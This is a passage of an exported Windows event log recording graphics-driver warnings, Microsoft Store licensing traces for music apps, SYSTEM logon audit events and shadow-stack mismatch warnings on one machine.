stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:12.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:13.449\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:13.778\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:14.229\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:14.234\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:17.306\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:17.356\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:17.361\t22\tSuspended: false\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:13:17.376\t22\tSuspended: true\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:13:17.376\t23\t\"Released exclusive mode resource false\nReleased offload mode resource true\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:13:29.447\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:29.450\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:39.819\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:54.106\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:54.997\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:55.663\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:56.218\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:56.553\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:57.110\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:57.442\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:57.602\t8001\t\"Invoking license manager because license/lease polling time up: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.603\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.604\t8002\t\"Failure Message: hr: 0x800703f0\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2324)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.605\t8001\t\"Failure Message: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp(2324)\\LicenseManager.dll!00007FFBF486A702: (caller: 00007FFBF525134D) Exception(11) tid(20bc) 800703F0 \u041f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0442\u043e\u043a\u0435\u043d.\n\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2348)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.605\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.605\t8002\t\"Failure Message: hr: 0x800703f0\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2324)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.605\t8001\t\"Failure Message: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp(2324)\\LicenseManager.dll!00007FFBF486A702: (caller: 00007FFBF525134D) Exception(12) tid(984) 800703F0 \u041f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0442\u043e\u043a\u0435\u043d.\n\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2348)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.606\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.607\t8001\t\"Skipping license manager: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.611\t8001\t\"Licensing package A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6 (3)\nFunction: OneStoreApplicationLicenseManager::GetLicenseForInstalledPackage\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (120)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.611\t8001\t\"Licensing 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.611\t8001\t\"0000021F831D3050: Key Machine for content: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.612\t8011\t0x21f83133e68: 8380: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.612\t8011\t0x21f831d3070: 8380: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.612\t8001\t\"0000021F831D3050: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.612\t8012\t0x21f831d3070: 8380: Key:Initial Change: Key:NegotiatingUnleased => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.636\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:13:57.636\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:13:57.642\t1002\tError 0x80070005 occurred while verifying known folder {62ab5d82-fdc1-4dc3-a9dd-070d1d495d97} with path 'C:\\ProgramData'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 09:13:57.650\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: \u042f\u043d\u0434\u0435\u043a\u0441.\u041c\u0443\u0437\u0438\u043a\u0430, {071f875e-406c-4938-beaa-65f69cc573e2}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 09:13:57.658\t100\tClipSVC service is starting.  Caller: TriggerStarted\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:13:57.660\t101\tClipSVC service is running.  Version 10.0.26100.9168\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:13:57.669\t8001\t\"Considering License ID {DE7849EA-B8E4-60D1-C780-7B0969A99E76} for content ID 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.669\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"b7757af6-9e6d-4d21-8272-c9137a2e9145\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.669\t8001\t\"Accepting key with License ID {DE7849EA-B8E4-60D1-C780-7B0969A99E76} for Content ID 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.669\t8001\t\"Returning key document for contentid 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.669\t8001\t\"Getting lease for 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.671\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.671\t8001\t\"Adding lease {941FBCC0-EC32-D9CB-EB46-FC3AE38EC79B} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.671\t8001\t\"Returning 1 lease documents for contentid 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.671\t8001\t\"lease = 0x831af3b8, usage = 268435456, policy = 1, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.671\t8011\t0x21f831d3070: 8380: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.677\t8001\t\"lease = 0x831af3b8, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.677\t8001\t\"Lease Machine: 0000021F8312B400: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.677\t8001\t\"Set results for lease = 0x831af3b8, policy = 1, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x831af3b8\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8012\t0x21f831d3070: 8380: Key:NegotiatingUnleased Change: Key:Valid => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8011\t0x21f8312b420: 8380: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8012\t0x21f8312b420: 8380: Lease:Initial Change: Lease:Valid => {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"b7757af6-9e6d-4d21-8272-c9137a2e9145\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8001\t\"ReactiveLicensingResult: 0x00000000 for A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6, 63ms\nFunction: LogReactiveLicensingResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\telemetry.cpp (512)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8011\t0x21f831d3070: 2436: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8001\t\"Updating lease timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9} to expire @ 2026-09-05T02:52:23Z (jitter was 38.427246 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8001\t\"Added timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8011\t0x21f8312b420: 8380: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.679\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 15612) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf0267243, module offset: 0x17243, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x2bec9d03a40, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:13:57.679\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 15612) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf025fda9, module offset: 0xfda9, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x2bec9d03200, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:13:57.679\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 15612) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf02690c3, module offset: 0x190c3, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x2bec9d03209, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:13:57.679\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 15612) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module 